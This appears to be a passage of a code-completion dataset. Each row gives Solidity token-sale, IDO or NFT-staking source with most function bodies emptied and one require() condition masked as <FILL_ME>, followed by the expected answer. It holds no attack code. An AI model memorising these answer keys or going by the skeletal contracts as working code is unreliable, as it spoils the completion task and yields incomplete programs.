modifier _whenSaleEnabled(bool enabled)
{
}
modifier _whenValidUser(address referrer) {
}
}
| isWhiteListed(code,_beneficiary),"Whitelist: Not found" | 183,872 | isWhiteListed(code,_beneficiary) |
"Beneficiary: Not enough allowance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./currency/ICurrencyFeed.sol";
import "./Members.sol";
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conforms
* the base architecture for crowdsales. It is *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract CrowdSale is Context, ReentrancyGuard, Ownable, Members {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _devWallet;
address payable private _refWallet;
uint64 private DEFAULT_RATE = 20;
ICurrencyFeed _currencyFeed;
bool private _enabled;
struct Shares {
uint256 beneficiaryTokenWei;
uint256 devWei;
uint256 refWei;
uint256 refTokenWei;
}
struct Quote{
uint80 roundId;
string symbol;
uint256 unitPrice;
uint256 min;
uint256 max;
uint256 rate;
uint256 weiInCents;
uint256 tokenWei;
bool whiteListed;
}
event TokensPurchased(
address Beneficiary,
string Pair,
uint256 Wei,
uint256 Usd,
uint256 Tokens,
uint256 DQuote,
uint256 RBase,
uint256 RQuote
);
constructor(
IERC20 tokenContract,
address payable wallet
)
{
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer funds with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
receive() external payable
{
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
*/
function buyTokens(string memory symbol, uint256 weiAmount, uint256 code, uint80 roundId )
public
_whenSaleEnabled(_enabled)
payable nonReentrant
{
address _beneficiary = _msgSender();
uint256 _weiAmount = weiAmount;
Referrer memory referrer = getMemberOrDefault(code);
_refWallet = payable(referrer.member.wallet);
require(_beneficiary != _refWallet, "Referral: Not allowed");
if(referrer.member.whiteList) {
require(isWhiteListed(code, _beneficiary), "Whitelist: Not found");
}
ICurrencyFeed.Price memory _price = _weiUnitPrice(symbol, roundId);
uint256 _weiInCents = _weiToCents(_price.currency.decimals, _weiAmount, _price.unitPrice);
Shares memory _share = _processShares(_weiAmount, _weiInCents, referrer);
if (keccak256(abi.encodePacked(symbol)) == keccak256(abi.encodePacked("ETH"))) {
require(_weiAmount == msg.value, "Wei mismatch");
// // send tokens to beneficiary
_token.safeTransfer(_beneficiary, _share.beneficiaryTokenWei);
// forward receied eth to dev wallet
_devWallet.transfer(_share.devWei);
// deliver commission to referrer
_refWallet.transfer(_share.refWei);
_token.safeTransfer(_refWallet, _share.refTokenWei);
} else {
IERC20 _quoteToken = _price.currency.tokenContract;
require(<FILL_ME>)
// forward receied quote currency to dev wallet
_quoteToken.safeTransferFrom(_beneficiary, _devWallet , _share.devWei);
// process commissions : quote currency
_quoteToken.safeTransferFrom(_beneficiary, _refWallet , _share.refWei);
// send tokens to beneficiary
_token.safeTransfer(_beneficiary, _share.beneficiaryTokenWei);
// process commissions : base currency
_token.safeTransfer(_refWallet, _share.refTokenWei);
}
string memory _pair = _salePairName(symbol);
emit TokensPurchased(
_beneficiary,
_pair,
_weiAmount,
_weiInCents,
_share.beneficiaryTokenWei,
_share.devWei,
_share.refTokenWei,
_share.refWei
);
}
/**
* @return the token being sold.
*/
function getToken()
public view
returns (IERC20)
{
}
function setToken(IERC20 token)
external
onlyOwner
{
}
/**
* @return the address where funds are collected.
*/
function getWallet()
external view
returns (address payable)
{
}
function setWallet(address payable wallet)
external
onlyOwner
{
}
function getDefaultRate()
external view
returns (uint64)
{
}
function setDefaultRate(uint64 rate)
public
onlyOwner
{
}
function getCurrencyFeed()
public view
returns(ICurrencyFeed feed)
{
}
function setCurrencyFeed(address feed)
external
onlyOwner
{
}
function getRate(uint256 cents, Range memory range, bool isCommission)
internal view
returns (uint64)
{
}
function getRange(Range memory range)
internal pure
returns (uint256, uint256)
{
}
function setEnabled(bool enabled)
external onlyOwner
{
}
function getEnabled()
external view returns(bool)
{
}
function _processShares(
uint256 weiAmount,
uint256 weiInCents,
Referrer memory referrer
)
internal view
_whenValidAmount(weiInCents, referrer.range)
_whenValidUser(referrer.member.wallet)
returns (Shares memory)
{
}
/*
* @param currency : Currency object
* @param weiAmount : amount in smallest units of ETH/ERC20(USDT) Token to be converted
* @param unitPrice : unit price of ETH/ERC20(USDT) in cents
*/
function _weiToCents(uint256 weiDecimals, uint256 weiAmount, uint256 unitPrice)
internal pure returns (uint256)
{
}
function _weiUnitPrice(string memory symbol)
internal view
returns (ICurrencyFeed.Price memory)
{
}
function _weiUnitPrice(string memory symbol, uint80 roundId)
internal view
returns (ICurrencyFeed.Price memory)
{
}
function _centsToTokenWei(uint256 cents, Range memory range, bool isCommission)
internal view
returns (uint256, uint256)
{
}
function _oneCentToTokenWei(uint256 rate )
internal view
returns (uint256)
{
}
function _salePairName(string memory symbol)
internal view
returns (string memory)
{
}
function _percentageOf(uint256 total, uint256 percent)
internal pure
returns (uint256)
{
}
// code = memeberid
function getQuote(string memory symbol, uint256 weiAmount, uint256 code)
external view
returns(Quote memory quote)
{
}
function balance(IERC20 token)
public view
onlyOwner
returns(uint256)
{
}
function recover(IERC20 token)
public
onlyOwner
{
}
modifier _whenValidAmount(uint256 weiInCents, Range memory range)
{
}
modifier _whenCurrencyFeed(ICurrencyFeed feed)
{
}
modifier _whenSaleEnabled(bool enabled)
{
}
modifier _whenValidUser(address referrer) {
}
}
| _quoteToken.allowance(_msgSender(),address(this))>=_weiAmount,"Beneficiary: Not enough allowance" | 183,872 | _quoteToken.allowance(_msgSender(),address(this))>=_weiAmount |
"CurrencyFeed unavailable" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./currency/ICurrencyFeed.sol";
import "./Members.sol";
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conforms
* the base architecture for crowdsales. It is *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract CrowdSale is Context, ReentrancyGuard, Ownable, Members {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _devWallet;
address payable private _refWallet;
uint64 private DEFAULT_RATE = 20;
ICurrencyFeed _currencyFeed;
bool private _enabled;
struct Shares {
uint256 beneficiaryTokenWei;
uint256 devWei;
uint256 refWei;
uint256 refTokenWei;
}
struct Quote{
uint80 roundId;
string symbol;
uint256 unitPrice;
uint256 min;
uint256 max;
uint256 rate;
uint256 weiInCents;
uint256 tokenWei;
bool whiteListed;
}
event TokensPurchased(
address Beneficiary,
string Pair,
uint256 Wei,
uint256 Usd,
uint256 Tokens,
uint256 DQuote,
uint256 RBase,
uint256 RQuote
);
constructor(
IERC20 tokenContract,
address payable wallet
)
{
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer funds with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
receive() external payable
{
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
*/
function buyTokens(string memory symbol, uint256 weiAmount, uint256 code, uint80 roundId )
public
_whenSaleEnabled(_enabled)
payable nonReentrant
{
}
/**
* @return the token being sold.
*/
function getToken()
public view
returns (IERC20)
{
}
function setToken(IERC20 token)
external
onlyOwner
{
}
/**
* @return the address where funds are collected.
*/
function getWallet()
external view
returns (address payable)
{
}
function setWallet(address payable wallet)
external
onlyOwner
{
}
function getDefaultRate()
external view
returns (uint64)
{
}
function setDefaultRate(uint64 rate)
public
onlyOwner
{
}
function getCurrencyFeed()
public view
returns(ICurrencyFeed feed)
{
}
function setCurrencyFeed(address feed)
external
onlyOwner
{
}
function getRate(uint256 cents, Range memory range, bool isCommission)
internal view
returns (uint64)
{
}
function getRange(Range memory range)
internal pure
returns (uint256, uint256)
{
}
function setEnabled(bool enabled)
external onlyOwner
{
}
function getEnabled()
external view returns(bool)
{
}
function _processShares(
uint256 weiAmount,
uint256 weiInCents,
Referrer memory referrer
)
internal view
_whenValidAmount(weiInCents, referrer.range)
_whenValidUser(referrer.member.wallet)
returns (Shares memory)
{
}
/*
* @param currency : Currency object
* @param weiAmount : amount in smallest units of ETH/ERC20(USDT) Token to be converted
* @param unitPrice : unit price of ETH/ERC20(USDT) in cents
*/
function _weiToCents(uint256 weiDecimals, uint256 weiAmount, uint256 unitPrice)
internal pure returns (uint256)
{
}
function _weiUnitPrice(string memory symbol)
internal view
returns (ICurrencyFeed.Price memory)
{
}
function _weiUnitPrice(string memory symbol, uint80 roundId)
internal view
returns (ICurrencyFeed.Price memory)
{
}
function _centsToTokenWei(uint256 cents, Range memory range, bool isCommission)
internal view
returns (uint256, uint256)
{
}
function _oneCentToTokenWei(uint256 rate )
internal view
returns (uint256)
{
}
function _salePairName(string memory symbol)
internal view
returns (string memory)
{
}
function _percentageOf(uint256 total, uint256 percent)
internal pure
returns (uint256)
{
}
// code = memeberid
function getQuote(string memory symbol, uint256 weiAmount, uint256 code)
external view
returns(Quote memory quote)
{
}
function balance(IERC20 token)
public view
onlyOwner
returns(uint256)
{
}
function recover(IERC20 token)
public
onlyOwner
{
}
modifier _whenValidAmount(uint256 weiInCents, Range memory range)
{
}
modifier _whenCurrencyFeed(ICurrencyFeed feed)
{
require(<FILL_ME>)
_;
}
modifier _whenSaleEnabled(bool enabled)
{
}
modifier _whenValidUser(address referrer) {
}
}
| address(feed)!=address(0),"CurrencyFeed unavailable" | 183,872 | address(feed)!=address(0) |
"Member doesn't exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Members is Ownable{
struct Member {
address wallet;
bool enabled;
bool whiteList;
bool exists;
}
struct Range {
uint32 size;
Limits[] limits;
}
struct Limits {
uint64 rate;
uint64 min;
uint64 max;
}
struct Commission {
uint128 base;
uint128 quote;
}
struct Referrer {
Member member;
Range range;
Commission commission;
}
uint256 internal constant DEFAULT_REFERRER = 0;
// memberid => range[]
mapping (uint256 => Range) _ranges;
// memberid => member[]
mapping (uint256 => Member) _members;
// memberid => commission
mapping (uint256 => Commission) _commissions;
// memberid => whitelisted addresses
mapping (uint256 => mapping(address => bool)) _whiteListed;
// memberids
uint256[] _memberIds;
constructor() {
}
function setRange(uint256 memberId, uint32 size, Limits[] memory limits)
public
onlyOwner
{
require(<FILL_ME>)
require(_ranges[memberId].size == 0, "Range already exists");
Range storage range = _ranges[memberId] ;
for(uint32 i=0; i<size;i++){
range.limits.push(limits[i]);
}
range.size = size;
}
function dropRange(uint256 memberId)
public
onlyOwner
{
}
function getRange(uint256 memberId)
internal view
returns(Range memory)
{
}
function setCommission(uint256 memberId, uint128 base, uint128 quote)
public
onlyOwner
{
}
function dropComission(uint256 memberId)
public
onlyOwner
{
}
function getCommission(uint256 memberId)
internal view
returns(Commission memory)
{
}
function setMember(uint256 memberId, Member memory member, Range memory range, Commission memory commission)
public
onlyOwner
{
}
function dropMember(uint256 memberId)
public
onlyOwner
{
}
function _getMember(uint256 memberId)
internal view
returns (Referrer memory)
{
}
function getMember(uint256 memberId)
public view
onlyOwner
_whenMemberExists(memberId)
returns(Referrer memory)
{
}
function getMembers()
external view
onlyOwner
returns(uint256[] memory)
{
}
function getMemberOrDefault(uint256 memberId)
internal view
returns (Referrer memory)
{
}
function setWhiteListed(uint256 memberId, address beneficiary)
public
onlyOwner
{
}
function dropWhiteListed(uint256 memberId, address beneficiary)
public
onlyOwner
{
}
function isWhiteListed(uint256 memberId, address beneficiary)
public view
returns(bool)
{
}
function _memberExists(uint256 memberId)
private view
returns (bool)
{
}
modifier _whenMemberExists(uint256 memberId) {
}
modifier _whenRangeExists(uint256 memberId) {
}
}
| _members[memberId].exists==true,"Member doesn't exists" | 183,873 | _members[memberId].exists==true |
"Range already exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Members is Ownable{
struct Member {
address wallet;
bool enabled;
bool whiteList;
bool exists;
}
struct Range {
uint32 size;
Limits[] limits;
}
struct Limits {
uint64 rate;
uint64 min;
uint64 max;
}
struct Commission {
uint128 base;
uint128 quote;
}
struct Referrer {
Member member;
Range range;
Commission commission;
}
uint256 internal constant DEFAULT_REFERRER = 0;
// memberid => range[]
mapping (uint256 => Range) _ranges;
// memberid => member[]
mapping (uint256 => Member) _members;
// memberid => commission
mapping (uint256 => Commission) _commissions;
// memberid => whitelisted addresses
mapping (uint256 => mapping(address => bool)) _whiteListed;
// memberids
uint256[] _memberIds;
constructor() {
}
function setRange(uint256 memberId, uint32 size, Limits[] memory limits)
public
onlyOwner
{
require(_members[memberId].exists == true, "Member doesn't exists");
require(<FILL_ME>)
Range storage range = _ranges[memberId] ;
for(uint32 i=0; i<size;i++){
range.limits.push(limits[i]);
}
range.size = size;
}
function dropRange(uint256 memberId)
public
onlyOwner
{
}
function getRange(uint256 memberId)
internal view
returns(Range memory)
{
}
function setCommission(uint256 memberId, uint128 base, uint128 quote)
public
onlyOwner
{
}
function dropComission(uint256 memberId)
public
onlyOwner
{
}
function getCommission(uint256 memberId)
internal view
returns(Commission memory)
{
}
function setMember(uint256 memberId, Member memory member, Range memory range, Commission memory commission)
public
onlyOwner
{
}
function dropMember(uint256 memberId)
public
onlyOwner
{
}
function _getMember(uint256 memberId)
internal view
returns (Referrer memory)
{
}
function getMember(uint256 memberId)
public view
onlyOwner
_whenMemberExists(memberId)
returns(Referrer memory)
{
}
function getMembers()
external view
onlyOwner
returns(uint256[] memory)
{
}
function getMemberOrDefault(uint256 memberId)
internal view
returns (Referrer memory)
{
}
function setWhiteListed(uint256 memberId, address beneficiary)
public
onlyOwner
{
}
function dropWhiteListed(uint256 memberId, address beneficiary)
public
onlyOwner
{
}
function isWhiteListed(uint256 memberId, address beneficiary)
public view
returns(bool)
{
}
function _memberExists(uint256 memberId)
private view
returns (bool)
{
}
modifier _whenMemberExists(uint256 memberId) {
}
modifier _whenRangeExists(uint256 memberId) {
}
}
| _ranges[memberId].size==0,"Range already exists" | 183,873 | _ranges[memberId].size==0 |
"Member exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Members is Ownable{
struct Member {
address wallet;
bool enabled;
bool whiteList;
bool exists;
}
struct Range {
uint32 size;
Limits[] limits;
}
struct Limits {
uint64 rate;
uint64 min;
uint64 max;
}
struct Commission {
uint128 base;
uint128 quote;
}
struct Referrer {
Member member;
Range range;
Commission commission;
}
uint256 internal constant DEFAULT_REFERRER = 0;
// memberid => range[]
mapping (uint256 => Range) _ranges;
// memberid => member[]
mapping (uint256 => Member) _members;
// memberid => commission
mapping (uint256 => Commission) _commissions;
// memberid => whitelisted addresses
mapping (uint256 => mapping(address => bool)) _whiteListed;
// memberids
uint256[] _memberIds;
constructor() {
}
function setRange(uint256 memberId, uint32 size, Limits[] memory limits)
public
onlyOwner
{
}
function dropRange(uint256 memberId)
public
onlyOwner
{
}
function getRange(uint256 memberId)
internal view
returns(Range memory)
{
}
function setCommission(uint256 memberId, uint128 base, uint128 quote)
public
onlyOwner
{
}
function dropComission(uint256 memberId)
public
onlyOwner
{
}
function getCommission(uint256 memberId)
internal view
returns(Commission memory)
{
}
function setMember(uint256 memberId, Member memory member, Range memory range, Commission memory commission)
public
onlyOwner
{
require(<FILL_ME>)
Member storage _member = _members[memberId];
_member.wallet = member.wallet;
_member.enabled = member.enabled;
_member.whiteList = member.whiteList;
_member.exists = true;
setRange(memberId, range.size, range.limits);
setCommission(memberId, commission.base, commission.quote);
_memberIds.push(memberId);
}
function dropMember(uint256 memberId)
public
onlyOwner
{
}
function _getMember(uint256 memberId)
internal view
returns (Referrer memory)
{
}
function getMember(uint256 memberId)
public view
onlyOwner
_whenMemberExists(memberId)
returns(Referrer memory)
{
}
function getMembers()
external view
onlyOwner
returns(uint256[] memory)
{
}
function getMemberOrDefault(uint256 memberId)
internal view
returns (Referrer memory)
{
}
function setWhiteListed(uint256 memberId, address beneficiary)
public
onlyOwner
{
}
function dropWhiteListed(uint256 memberId, address beneficiary)
public
onlyOwner
{
}
function isWhiteListed(uint256 memberId, address beneficiary)
public view
returns(bool)
{
}
function _memberExists(uint256 memberId)
private view
returns (bool)
{
}
modifier _whenMemberExists(uint256 memberId) {
}
modifier _whenRangeExists(uint256 memberId) {
}
}
| _members[memberId].exists==false,"Member exists" | 183,873 | _members[memberId].exists==false |
"Range doesn't exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract Members is Ownable{
struct Member {
address wallet;
bool enabled;
bool whiteList;
bool exists;
}
struct Range {
uint32 size;
Limits[] limits;
}
struct Limits {
uint64 rate;
uint64 min;
uint64 max;
}
struct Commission {
uint128 base;
uint128 quote;
}
struct Referrer {
Member member;
Range range;
Commission commission;
}
uint256 internal constant DEFAULT_REFERRER = 0;
// memberid => range[]
mapping (uint256 => Range) _ranges;
// memberid => member[]
mapping (uint256 => Member) _members;
// memberid => commission
mapping (uint256 => Commission) _commissions;
// memberid => whitelisted addresses
mapping (uint256 => mapping(address => bool)) _whiteListed;
// memberids
uint256[] _memberIds;
constructor() {
}
function setRange(uint256 memberId, uint32 size, Limits[] memory limits)
public
onlyOwner
{
}
function dropRange(uint256 memberId)
public
onlyOwner
{
}
function getRange(uint256 memberId)
internal view
returns(Range memory)
{
}
function setCommission(uint256 memberId, uint128 base, uint128 quote)
public
onlyOwner
{
}
function dropComission(uint256 memberId)
public
onlyOwner
{
}
function getCommission(uint256 memberId)
internal view
returns(Commission memory)
{
}
function setMember(uint256 memberId, Member memory member, Range memory range, Commission memory commission)
public
onlyOwner
{
}
function dropMember(uint256 memberId)
public
onlyOwner
{
}
function _getMember(uint256 memberId)
internal view
returns (Referrer memory)
{
}
function getMember(uint256 memberId)
public view
onlyOwner
_whenMemberExists(memberId)
returns(Referrer memory)
{
}
function getMembers()
external view
onlyOwner
returns(uint256[] memory)
{
}
function getMemberOrDefault(uint256 memberId)
internal view
returns (Referrer memory)
{
}
function setWhiteListed(uint256 memberId, address beneficiary)
public
onlyOwner
{
}
function dropWhiteListed(uint256 memberId, address beneficiary)
public
onlyOwner
{
}
function isWhiteListed(uint256 memberId, address beneficiary)
public view
returns(bool)
{
}
function _memberExists(uint256 memberId)
private view
returns (bool)
{
}
modifier _whenMemberExists(uint256 memberId) {
}
modifier _whenRangeExists(uint256 memberId) {
require(<FILL_ME>)
_;
}
}
| _ranges[memberId].size!=0,"Range doesn't exists" | 183,873 | _ranges[memberId].size!=0 |
"PLEXUS : The deposit amount exceeds the hardcap." | pragma solidity 0.6.12;
import "../libraries/SafeMath.sol";
import "../interfaces/IERC20.sol";
import "../libraries/TransferHelper.sol";
contract PublicIDO {
using SafeMath for uint256;
address public immutable dev;
address public immutable usdt;
address public plexus;
uint256 public price;
uint256 public priceP2;
uint256 public idoStartTime;
uint256 public idoEndTime;
uint256 public idoStartTimeP2;
uint256 public idoEndTimeP2;
uint256 public lockupBlock;
uint256 public claimDuringBlock;
uint256 public plexusTotalValue;
uint256 public plexusTotalValueP2;
uint256 public usdtHardCap;
uint256 public usdtSoftCap;
uint256 public userHardCap;
uint256 public userSoftCap;
uint256 public usdtHardCapP2;
uint256 public usdtSoftCapP2;
uint256 public userHardCapP2;
uint256 public userSoftCapP2;
uint256 public usdtTotalReciveAmount;
uint256 public usdtTotalReciveAmountP2;
address[] public userAddress;
address[] public userAddressP2;
uint256 public USDT_ACC_PRECESION = 1e6;
uint256 public PLX_ACC_PRECESION = 1e18;
struct UserInfo {
uint256 amount;
uint256 amountP2;
uint256 totalReward;
uint256 lastRewardBlock;
uint256 recivePLX;
}
mapping(address => UserInfo) public userInfo;
mapping(address => uint256) public userId;
mapping(address => uint256) public userIdP2;
event Deposit(address user, uint256 userDepositAmount, uint256 userPLXTotalReward);
event Claim(address user, uint256 userClaimAmount, uint256 userRecivePLX);
event refund(address user, uint256 refundAmount);
constructor(address _usdt, address _plexus) public {
}
function init(
uint256 _plxTotalValue,
uint256 _usdtHardCap,
uint256 _usdtSoftCap,
uint256 _userHardCap,
uint256 _userSoftCap
) public {
}
function initP2(
uint256 _plxTotalValueP2,
uint256 _usdtHardCapP2,
uint256 _usdtSoftCapP2,
uint256 _userHardCapP2,
uint256 _userSoftCapP2
) public {
}
function userLength() public view returns (uint256 user) {
}
function userP2Length() public view returns (uint256 user) {
}
function deposit(uint256 _userDepositAmount) public {
require(block.timestamp >= idoStartTime && block.timestamp <= idoEndTime, "PLEXUS : This is not IDO time.");
uint256 userDepositAmountInt = (_userDepositAmount / price) * price;
address depositUser = msg.sender;
require(<FILL_ME>)
IERC20(usdt).transferFrom(depositUser, address(this), userDepositAmountInt);
if (userAddress.length == 0 || (userId[depositUser] == 0 && userAddress[0] != depositUser)) {
userAddress.push(depositUser);
userId[depositUser] = userAddress.length - 1;
}
UserInfo memory user = userInfo[depositUser];
user.amount = user.amount.add(userDepositAmountInt);
require(
_userDepositAmount >= userSoftCap && user.amount <= userHardCap,
"PLEXUS : The deposit amount exceeds the hardcap."
);
usdtTotalReciveAmount = usdtTotalReciveAmount.add(userDepositAmountInt);
user.totalReward = user.totalReward.add(userDepositAmountInt.mul(PLX_ACC_PRECESION) / price);
userInfo[depositUser] = user;
emit Deposit(depositUser, user.amount, user.totalReward);
}
function depositP2(uint256 _userDepositAmount) public {
}
function pendingClaim(address _user) public view returns (uint256 pendingAmount) {
}
function claim(address _user) public {
}
function close(uint256 roopStart, uint256 roopEnd) public {
}
function closeP2(uint256 roopStart, uint256 roopEnd) public {
}
function emergencyWithdraw() public {
}
function setLockupBlock(uint256 _launchingBlock) public {
}
function setIdoTime(uint256 _startTime, uint256 _endTime) public {
}
function setIdoTimeP2(uint256 _startTime, uint256 _endTime) public {
}
function idoClosePlxWithdraw() public {
}
function idoClosePlxWithdrawP2() public {
}
}
| usdtHardCap.sub(usdtTotalReciveAmount)>=userDepositAmountInt,"PLEXUS : The deposit amount exceeds the hardcap." | 183,941 | usdtHardCap.sub(usdtTotalReciveAmount)>=userDepositAmountInt |
"PLEXUS : The deposit amount exceeds the hardcap." | pragma solidity 0.6.12;
import "../libraries/SafeMath.sol";
import "../interfaces/IERC20.sol";
import "../libraries/TransferHelper.sol";
contract PublicIDO {
using SafeMath for uint256;
address public immutable dev;
address public immutable usdt;
address public plexus;
uint256 public price;
uint256 public priceP2;
uint256 public idoStartTime;
uint256 public idoEndTime;
uint256 public idoStartTimeP2;
uint256 public idoEndTimeP2;
uint256 public lockupBlock;
uint256 public claimDuringBlock;
uint256 public plexusTotalValue;
uint256 public plexusTotalValueP2;
uint256 public usdtHardCap;
uint256 public usdtSoftCap;
uint256 public userHardCap;
uint256 public userSoftCap;
uint256 public usdtHardCapP2;
uint256 public usdtSoftCapP2;
uint256 public userHardCapP2;
uint256 public userSoftCapP2;
uint256 public usdtTotalReciveAmount;
uint256 public usdtTotalReciveAmountP2;
address[] public userAddress;
address[] public userAddressP2;
uint256 public USDT_ACC_PRECESION = 1e6;
uint256 public PLX_ACC_PRECESION = 1e18;
struct UserInfo {
uint256 amount;
uint256 amountP2;
uint256 totalReward;
uint256 lastRewardBlock;
uint256 recivePLX;
}
mapping(address => UserInfo) public userInfo;
mapping(address => uint256) public userId;
mapping(address => uint256) public userIdP2;
event Deposit(address user, uint256 userDepositAmount, uint256 userPLXTotalReward);
event Claim(address user, uint256 userClaimAmount, uint256 userRecivePLX);
event refund(address user, uint256 refundAmount);
constructor(address _usdt, address _plexus) public {
}
function init(
uint256 _plxTotalValue,
uint256 _usdtHardCap,
uint256 _usdtSoftCap,
uint256 _userHardCap,
uint256 _userSoftCap
) public {
}
function initP2(
uint256 _plxTotalValueP2,
uint256 _usdtHardCapP2,
uint256 _usdtSoftCapP2,
uint256 _userHardCapP2,
uint256 _userSoftCapP2
) public {
}
function userLength() public view returns (uint256 user) {
}
function userP2Length() public view returns (uint256 user) {
}
function deposit(uint256 _userDepositAmount) public {
}
function depositP2(uint256 _userDepositAmount) public {
require(block.timestamp >= idoStartTimeP2 && block.timestamp <= idoEndTimeP2, "PLEXUS : This is not IDO time.");
uint256 userDepositAmountInt = (_userDepositAmount / priceP2) * priceP2;
address depositUser = msg.sender;
require(<FILL_ME>)
IERC20(usdt).transferFrom(depositUser, address(this), userDepositAmountInt);
if (userAddressP2.length == 0 || (userIdP2[depositUser] == 0 && userAddressP2[0] != depositUser)) {
userAddressP2.push(depositUser);
userIdP2[depositUser] = userAddressP2.length - 1;
}
UserInfo memory user = userInfo[depositUser];
user.amountP2 = user.amountP2.add(userDepositAmountInt);
require(
_userDepositAmount >= userSoftCapP2 && user.amountP2 <= userHardCapP2,
"PLEXUS : The deposit amount exceeds the hardcap."
);
usdtTotalReciveAmountP2 = usdtTotalReciveAmountP2.add(userDepositAmountInt);
user.totalReward = user.totalReward.add(userDepositAmountInt.mul(PLX_ACC_PRECESION) / priceP2);
userInfo[depositUser] = user;
emit Deposit(depositUser, user.amountP2, user.totalReward);
}
function pendingClaim(address _user) public view returns (uint256 pendingAmount) {
}
function claim(address _user) public {
}
function close(uint256 roopStart, uint256 roopEnd) public {
}
function closeP2(uint256 roopStart, uint256 roopEnd) public {
}
function emergencyWithdraw() public {
}
function setLockupBlock(uint256 _launchingBlock) public {
}
function setIdoTime(uint256 _startTime, uint256 _endTime) public {
}
function setIdoTimeP2(uint256 _startTime, uint256 _endTime) public {
}
function idoClosePlxWithdraw() public {
}
function idoClosePlxWithdrawP2() public {
}
}
| usdtHardCapP2.sub(usdtTotalReciveAmountP2)>=userDepositAmountInt,"PLEXUS : The deposit amount exceeds the hardcap." | 183,941 | usdtHardCapP2.sub(usdtTotalReciveAmountP2)>=userDepositAmountInt |
"you already staked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SfmoonAccess is ERC721, ERC721Enumerable, ERC721Burnable, Ownable, Pausable, ReentrancyGuard {
struct Access {
uint256 tokenId;
uint256 lockedUntil;
uint256 lockedAmount;
}
struct Waits {
uint256 wait30;
uint256 wait45;
uint256 wait90;
uint256 wait180;
}
struct Prices {
uint256 price30;
uint256 price45;
uint256 price90;
uint256 price180;
}
IERC20 public immutable token;
Waits public waits;
Prices public prices;
uint256 private nfts = 0;
uint256 public stakers = 0;
uint256 public airdroppers = 0;
uint256 public maxSupply;
bytes32 public merkleRoot;
mapping(address => Access) private accesses;
modifier canStake(uint256 price) {
Access memory access = accesses[msg.sender];
require(<FILL_ME>)
require(stakers < maxSupply, "no more places");
require(token.balanceOf(msg.sender) >= price, "insufficient token balance");
require(token.allowance(msg.sender, address(this)) >= price, "!approved");
_;
}
modifier canClaimNft() {
}
modifier canClaimAirdropNft(bytes32[] calldata _merkleProof) {
}
modifier canUnstake() {
}
constructor(
string memory _name,
string memory _symbol,
address _token,
uint256 _maxSupply,
uint256 _price,
uint256 _wait
) ERC721(_name, _symbol) {
}
function stake30() public nonReentrant whenNotPaused canStake(prices.price30) {
}
function stake45() public nonReentrant whenNotPaused canStake(prices.price45) {
}
function stake90() public nonReentrant whenNotPaused canStake(prices.price90) {
}
function stake180() public nonReentrant whenNotPaused canStake(prices.price180) {
}
function claimNft() public nonReentrant whenNotPaused canClaimNft {
}
function claimAirdropNft(bytes32[] calldata _merkleProof)
public
nonReentrant
whenNotPaused
canClaimAirdropNft(_merkleProof)
{
}
function unstake() public nonReentrant whenNotPaused canUnstake {
}
